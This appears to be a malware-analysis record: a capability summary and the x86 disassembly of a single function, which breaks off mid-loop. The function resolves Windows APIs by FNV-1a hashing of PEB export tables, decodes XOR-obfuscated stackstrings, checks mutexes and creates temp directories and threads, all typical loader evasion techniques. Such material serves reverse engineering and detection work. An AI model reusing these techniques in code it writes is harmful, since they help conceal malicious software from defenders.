Function at 0x483b50
Capabilities:
Access peb ldr_data
Authenticate hmac
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Delete file
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x533832
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x630
push ebx
push esi
push edi
mov dword [ebp - 0x30], 0
push dword [0x56ebcc]
call fcn.0050282c
add esp, 4
mov ecx, 0x56ebbc
call fcn.0040ba70
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x483b95
mov ecx, 0x56ebbc
sub edi, eax
call fcn.0040ba70
mov esi, eax
lea eax, [ebp - 0x1f8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1f8]
push edi
push esi
call fcn.0040bb00
mov dword [ebp - 4], 2
mov ecx, 0x56ebbc
call fcn.0040b870
lea eax, [ebp - 0x1f8]
mov ecx, 0x56ebbc
push eax
call fcn.0040ba40
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x1f8]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x483c94
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x483c94
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x483c8d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x483c70
cmp esi, 0x6dd8a845
je 0x483c98
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x483c55
mov eax, dword [eax]
jmp 0x483c25
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0x20], ebx
mov edx, dword [ebx + 0x3c]
mov esi, dword [edx + ebx + 0x78]
mov eax, dword [edx + ebx + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [ebx + esi]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x483d34
mov edi, dword [eax + 0x18]
test edi, edi
je 0x483d34
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
mov eax, dword [ecx + 0x18]
add ebx, eax
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x483d2d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x483d10
cmp esi, 0x60993b9d
je 0x483d38
mov eax, dword [ecx + 0x18]
test edi, edi
jne 0x483cf6
mov ecx, dword [ecx]
jmp 0x483cc3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x8000
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov edi, dword [0x56eb44]
mov esi, dword [0x56eb40]
push 0
push 2
push edi
push esi
call fcn.005221b0
mov ebx, dword [0x56eb48]
sub ebx, eax
mov eax, dword [0x56eb4c]
mov ecx, ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x10], eax
xor eax, edi
or ecx, eax
je 0x483daa
add esi, ebx
mov dword [0x56eb40], esi
adc edi, dword [ebp - 0x10]
mov dword [0x56eb44], edi
test edi, edi
jl 0x483dcf
jg 0x483db8
cmp esi, 0x186a0
jbe 0x483dcf
xorps xmm0, xmm0
movlpd qword [0x56eb40], xmm0
mov edi, dword [0x56eb44]
mov esi, dword [0x56eb40]
push 0
push 2
push edi
push esi
call fcn.005221b0
sub ebx, eax
mov eax, dword [ebp - 0x10]
mov ecx, ebx
mov dword [0x56eb48], ebx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x10], eax
mov dword [0x56eb4c], eax
xor eax, edi
or ecx, eax
je 0x483e0a
add esi, ebx
mov dword [0x56eb40], esi
adc edi, dword [ebp - 0x10]
mov dword [0x56eb44], edi
test edi, edi
jl 0x483e23
jg 0x483e18
cmp esi, 0x186a0
jbe 0x483e23
xorps xmm0, xmm0
movlpd qword [0x56eb40], xmm0
push 0
call fcn.0050abfc
push eax
call fcn.0050282c
add esp, 8
call fcn.00411d60
mov eax, dword [0x56eb40]
mov esi, 0xf
xor dword [0x56eb48], eax
mov eax, dword [0x56eb44]
xor dword [0x56eb4c], eax
xor edx, edx
mov byte [ebp - 0x6b], 0x44
mov byte [ebp - 0x6a], 0x43
mov byte [ebp - 0x69], 0x4b
mov byte [ebp - 0x68], 0x54
mov byte [ebp - 0x67], 0x39
mov al, byte [ebp - 0x6b]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x6b]
mov ecx, edx
and ecx, esi
mov eax, 0x565c5d31
cmp ecx, esi
mov edx, 0xc3367ac1
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x6b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x483e70
push 0
lea eax, [ebp - 0x6b]
mov ecx, 0x56ec04
push eax
call fcn.0048a740
test eax, eax
jne 0x483f76
call fcn.00423140
test al, al
je 0x483f71
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x483f49
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x483f49
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x483f42
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x483f25
cmp esi, 0xe80fd3a
je 0x483f4d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x483f10
mov eax, dword [eax]
jmp 0x483ee0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, 0xf
jmp 0x483f76
call fcn.00423300
call fcn.00411d60
mov eax, dword [0x56eb40]
xor dword [0x56eb48], eax
mov eax, dword [0x56eb44]
xor dword [0x56eb4c], eax
xor edx, edx
mov byte [ebp - 0x70], 0x44
mov byte [ebp - 0x6f], 0x43
mov byte [ebp - 0x6e], 0x4b
mov byte [ebp - 0x6d], 0x54
mov byte [ebp - 0x6c], 0x39
mov al, byte [ebp - 0x70]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x70]
mov ecx, edx
and ecx, 0xf
mov eax, 0x565c5d31
cmp ecx, 0xf
mov edx, 0xc3367ac1
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x70], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x483fb0
push 0
lea eax, [ebp - 0x70]
mov ecx, 0x56eba4
push eax
call fcn.0048a740
test eax, eax
jne 0x4840cf
call fcn.00423340
mov bl, al
call fcn.00423420
mov bh, al
call fcn.004238c0
test bl, bl
jne 0x48402e
test bh, bh
jne 0x48402e
test al, al
jne 0x48402e
call fcn.00423180
test al, al
je 0x4840cf
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4840a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4840a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4840a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x484085
cmp esi, 0xe80fd3a
je 0x4840ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x484070
mov eax, dword [eax]
jmp 0x484040
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, 0xf
mov byte [ebp - 0x75], 0x44
xor edx, edx
mov byte [ebp - 0x74], 0x43
mov byte [ebp - 0x73], 0x4b
mov byte [ebp - 0x72], 0x54
mov byte [ebp - 0x71], 0x39
mov al, byte [ebp - 0x75]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x75]
mov ecx, edx
and ecx, 0xf
mov eax, 0x565c5d31
cmp ecx, 0xf
mov edx, 0xc3367ac1
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x75], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x4840f0
push 0
lea eax, [ebp - 0x75]
mov ecx, 0x56ecac
push eax
call fcn.0048a740
test eax, eax
jne 0x484146
lea ecx, [eax + 1]
call fcn.00423b60
mov byte [ebp - 0x66], 0x44
xor edx, edx
mov byte [ebp - 0x65], 0x43
mov byte [ebp - 0x64], 0x4b
mov byte [ebp - 0x63], 0x54
mov byte [ebp - 0x62], 0x39
mov al, byte [ebp - 0x66]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x66]
mov ecx, edx
and ecx, 0xf
mov eax, 0x565c5d31
cmp ecx, 0xf
mov edx, 0xc3367ac1
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x66], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x484162
push 0
lea eax, [ebp - 0x66]
mov ecx, 0x56ec94
push eax
call fcn.0048a740
test eax, eax
jne 0x4841b5
call fcn.00427e90
mov byte [ebp - 0x7a], 0x44
xor edx, edx
mov byte [ebp - 0x79], 0x43
mov byte [ebp - 0x78], 0x4b
mov byte [ebp - 0x77], 0x54
mov byte [ebp - 0x76], 0x39
mov al, byte [ebp - 0x7a]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x7a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x565c5d31
cmp ecx, 0xf
mov edx, 0xc3367ac1
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x7a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x4841d1
push 0
lea eax, [ebp - 0x7a]
mov ecx, 0x56ec34
push eax
call fcn.0048a740
mov esi, dword [0x56eb44]
test eax, eax
mov edi, dword [0x56eb40]
push 0
push 2
push esi
push edi
sete byte [ebp - 0x29]
call fcn.005221b0
mov ebx, dword [0x56eb48]
sub ebx, eax
mov eax, dword [0x56eb4c]
mov ecx, ebx
mov dword [0x56eb48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov dword [0x56eb4c], eax
xor eax, esi
or ecx, eax
je 0x484270
add edi, ebx
mov dword [0x56eb40], edi
adc esi, dword [ebp - 0x14]
mov dword [0x56eb44], esi
test esi, esi
jl 0x484289
jg 0x48427e
cmp edi, 0x186a0
jbe 0x484289
xorps xmm0, xmm0
movlpd qword [0x56eb40], xmm0
mov byte [ebp - 0x124], 7
xor edx, edx
mov byte [ebp - 0x123], 0x18
mov esi, 0xf
mov byte [ebp - 0x122], 0x15
mov byte [ebp - 0x121], 0x12
mov byte [ebp - 0x120], 0xd
mov byte [ebp - 0x11f], 0
mov byte [ebp - 0x11e], 0xb
mov byte [ebp - 0x11d], 0x5e
mov byte [ebp - 0x11c], 0x1e
mov byte [ebp - 0x11b], 0x1c
mov byte [ebp - 0x11a], 0x18
mov byte [ebp - 0x119], 0x84
mov al, byte [ebp - 0x124]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x124]
mov ecx, edx
and ecx, esi
mov eax, 0xc0e02c75
cmp ecx, esi
mov edx, 0xd7844be7
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x75]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x124], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0x4842f0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4843a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4843a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4843a2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x484385
cmp esi, 0x53b2070f
je 0x4843ad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x484370
mov eax, dword [eax]
jmp 0x484340
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x124]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x4843e6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov byte [ebp - 0x130], 0x27
xor edx, edx
mov byte [ebp - 0x12f], 0x38
mov edi, 0xf
mov byte [ebp - 0x12e], 0x35
mov byte [ebp - 0x12d], 0x33
mov byte [ebp - 0x12c], 0x37
mov byte [ebp - 0x12b], 0x31
mov byte [ebp - 0x12a], 0x2f
mov byte [ebp - 0x129], 0x5e
mov byte [ebp - 0x128], 0x3e
mov byte [ebp - 0x127], 0x3c
mov byte [ebp - 0x126], 0x38
mov byte [ebp - 0x125], 0x84
mov al, byte [ebp - 0x130]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x130]
mov ecx, edx
and ecx, edi
mov eax, 0xc0e02c75
cmp ecx, edi
mov edx, 0xd7844be7
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x75]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x130], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0x484450
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004a8a10
call fcn.004e7870
push 0
push 0
push 0
push 0x42fc00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x56eb3c], 0xffffffff
jne 0x48457c
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x484549
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x484549
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x484542
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x484525
cmp esi, 0x2fa62ca8
je 0x48454d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x484510
mov eax, dword [eax]
jmp 0x4844e0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x56eb3c], 0xffffffff
je 0x4844d0
mov edi, 0xf
mov ecx, 0x104
lea eax, [ebp - 0x63c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x484587
lea eax, [ebp - 0x63c]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00411d60
mov eax, dword [0x56eb40]
lea ecx, [ebp - 0x288]
xor dword [0x56eb48], eax
mov edx, 0xd
mov eax, dword [0x56eb44]
xor dword [0x56eb4c], eax
call fcn.004159b0
mov dword [ebp - 4], 6
xor edx, edx
mov byte [ebp - 0xab], 7
mov byte [ebp - 0xaa], 0x1e
mov byte [ebp - 0xa9], 0xd
mov byte [ebp - 0xa8], 2
mov byte [ebp - 0xa7], 0xf
mov byte [ebp - 0xa6], 0x3a
mov byte [ebp - 0xa5], 0x28
mov byte [ebp - 0xa4], 0x3a
mov byte [ebp - 0xa3], 0x70
mov al, byte [ebp - 0xab]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xab]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbe160769
cmp ecx, 0xf
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xab], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x484620
lea eax, [ebp - 0x210]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xab]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484680
sub ecx, edx
lea eax, [ebp - 0xab]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.0040bb00
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x63c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4846b0
sub ecx, edx
lea eax, [ebp - 0x63c]
push ecx
push eax
push 0
lea ecx, [ebp - 0x210]
call fcn.00494290
push eax
lea ecx, [ebp - 0x2d8]
call fcn.0040b700
mov dword [ebp - 0x30], 1
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.0048aae0
push eax
lea ecx, [ebp - 0x2c0]
call fcn.0040b700
mov ecx, 0x56eb8c
mov dword [ebp - 0x30], 3
call fcn.0040b870
lea eax, [ebp - 0x2c0]
mov ecx, 0x56eb8c
push eax
call fcn.0040ba40
mov esi, 3
mov dword [ebp - 0x30], esi
and esi, 0xfffffffd
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2c0]
call fcn.0040b870
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0xa
and esi, 0xfffffffe
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2d8]
call fcn.0040b870
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x210]
call fcn.0040b870
mov byte [ebp - 4], 6
lea eax, [ebp - 0x210]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 6
xor edx, edx
mov byte [ebp - 0xce], 0x60
mov byte [ebp - 0xcd], 0x70
mov byte [ebp - 0xcc], 0x60
mov byte [ebp - 0xcb], 0x5c
mov byte [ebp - 0xca], 0x48
mov byte [ebp - 0xc9], 0x57
mov byte [ebp - 0xc8], 0x6f
mov byte [ebp - 0xc7], 0x45
mov byte [ebp - 0xc6], 0x5d
mov byte [ebp - 0xc5], 0x22
mov al, byte [ebp - 0xce]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xce]
mov ecx, edx
and ecx, 0xf
mov eax, 0xee7c8c1d
cmp ecx, 0xf
mov edx, 0xf6febf40
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x1d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xce], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xa
jb 0x4847f0
lea eax, [ebp - 0x228]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xce]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484850
sub ecx, edx
lea eax, [ebp - 0xce]
push ecx
push eax
lea ecx, [ebp - 0x228]
call fcn.0040bb00
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x63c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484880
sub ecx, edx
lea eax, [ebp - 0x63c]
push ecx
push eax
push 0
lea ecx, [ebp - 0x228]
call fcn.00494290
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0040b700
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x288]
or esi, 4
lea edx, [ebp - 0x2f0]
push eax
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x30], esi
call fcn.0048f3c0
add esp, 4
mov byte [ebp - 4], 0x19
and esi, 0xfffffffb
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2f0]
call fcn.0040b870
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x228]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x228]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
mov ecx, 0x56eb8c
call fcn.0040ba70
mov ecx, eax
call fcn.00415310
test al, al
je 0x48493a
push 0
mov dl, 1
mov ecx, 0x56eb8c
call fcn.00415360
add esp, 4
lea ecx, [ebp - 0x1c8]
call fcn.0040ba70
mov ecx, eax
call fcn.00415310
test al, al
je 0x484962
push 0
mov dl, 1
lea ecx, [ebp - 0x1c8]
call fcn.00415360
add esp, 4
push 0
mov ecx, 0x56eb8c
call fcn.0040ba70
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x484993
mov ecx, 0x56eb8c
call fcn.00425a70
test al, al
je 0x4873c8
push 0
lea ecx, [ebp - 0x1c8]
call fcn.0040ba70
push eax
call esi
test eax, eax
jne 0x484a1c
mov esi, dword [0x56eb44]
mov edi, dword [0x56eb40]
push eax
push 2
push esi
push edi
call fcn.005221b0
mov ebx, dword [0x56eb48]
sub ebx, eax
mov eax, dword [0x56eb4c]
mov ecx, ebx
mov dword [0x56eb48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [0x56eb4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x4849f8
add edi, ebx
mov dword [0x56eb40], edi
adc esi, edx
mov dword [0x56eb44], esi
test esi, esi
jl 0x484a11
jg 0x484a06
cmp edi, 0x186a0
jbe 0x484a11
xorps xmm0, xmm0
movlpd qword [0x56eb40], xmm0
lea ecx, [ebp - 0x1c8]
call fcn.00425a70
lea ecx, [ebp - 0x1c8]
call fcn.0040ba70
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0x20], ebx
mov edx, dword [ebx + 0x3c]
mov esi, dword [edx + ebx + 0x78]
mov eax, dword [edx + ebx + 0x7c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
lea eax, [esi + ebx]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x484aa9
mov edi, dword [eax + 0x18]
test edi, edi
je 0x484aa9
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
mov eax, dword [ecx + 0x18]
add ebx, eax
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x484aa2
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x484a85
cmp esi, 0x7a5b9fa2
je 0x484aad
mov eax, dword [ecx + 0x18]
test edi, edi
jne 0x484a70
mov ecx, dword [ecx]
jmp 0x484a37
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x1c8]
mov ecx, 0x56ec1c
push eax
call fcn.0048ab00
call fcn.00425d30
test al, al
je 0x484d19
cmp byte [ebp - 0x29], 0
jne 0x484d19
mov byte [ebp - 0xd7], 0x13
xor edx, edx
mov byte [ebp - 0xd6], 0x1c
mov esi, 0xf
mov byte [ebp - 0xd5], 0xd
mov byte [ebp - 0xd4], 0x1e
mov byte [ebp - 0xd3], 0
mov byte [ebp - 0xd2], 2
mov byte [ebp - 0xd1], 0xe
mov byte [ebp - 0xd0], 0x1f
mov byte [ebp - 0xcf], 0x70
mov al, byte [ebp - 0xd7]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xd7]
mov ecx, edx
and ecx, esi
mov eax, 0xbe160769
cmp ecx, esi
mov edx, 0x2e603141
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x69]
